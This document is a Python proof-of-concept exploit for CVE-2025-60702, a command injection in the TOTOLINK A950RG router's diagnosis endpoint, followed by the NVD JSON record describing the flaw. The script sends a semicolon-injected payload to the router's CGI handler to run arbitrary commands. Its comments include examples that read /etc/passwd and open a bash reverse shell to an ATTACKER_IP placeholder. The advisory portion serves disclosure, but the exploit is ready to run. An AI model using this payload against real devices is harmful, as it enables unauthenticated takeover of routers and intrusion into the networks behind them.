CVE-2025-60702

import requests # CVE-2025-60702 PoC - TOTOLINK A950RG Command Injection # Target: TOTOLINK A950RG Router Firmware V5.9c.4592_B20191022_ALL # Vulnerability: Command Injection in setDiagnosisCfg function via ipDoamin parameter target_ip = "192.168.0.1" # Router IP address target_port = 80 def exploit_command_injection(target, command): """ Execute arbitrary command on vulnerable TOTOLINK A950RG router """ # Construct the malicious ipDoamin parameter with command injection # Using semicolon to chain commands payload = ";" + command url = f"http://{target}/cgi-bin/cstecgi.cgi" # The vulnerable endpoint and parameter data = { "topicurl": "setDiagnosisCfg", "ipDoamin": payload } try: response = requests.post(url, data=data, timeout=5) print(f"[*] Sent payload: {payload}") print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None # Example: List directory contents exploit_command_injection(target_ip, "ls -la /") # Example: Read /etc/passwd # exploit_command_injection(target_ip, "cat /etc/passwd") # Example: Start a reverse shell # payload = ";bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1" # exploit_command_injection(target_ip, "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1")

{"cve": {"id": "CVE-2025-60702", "sourceIdentifier": "[email protected]", "published": "2025-11-13T20:15:52.923", "lastModified": "2025-11-18T01:49:21.647", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A command injection vulnerability exists in the TOTOLINK A950RG Router firmware V5.9c.4592_B20191022_ALL within the `system.so` binary. The `setDiagnosisCfg` function retrieves the `ipDoamin` parameter from user input via `websGetVar` and concatenates it directly into a `ping` system command executed via `CsteSystem()` without any sanitization. An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary commands on the device through specially crafted HTTP requests to the router's web interface."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:a950rg_firmware:5.9c.4592_b20191022:*:*:*:*:*:*:*", "matchCriteriaId": "70C0D0B7-21D0-4369-866E-0D0C3B9DE481"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:a950rg:-:*:*:*:*:*:*:*", "matchCriteriaId": "2F20C691-11F3-4882-89C7-500C097C0938"}]}]}], "references": [{"url": "https://github.com/yifan20020708/SGTaint-0-day/blob/main/ToToLink/ToToLink-A950RG/1.md", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/yifan20020708/SGTaint-0-day/blob/main/ToToLink/ToToLink-A950RG/CVE-2025-60702.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.totolink.net/", "source": "[email protected]", "tags": ["Product"]}]}}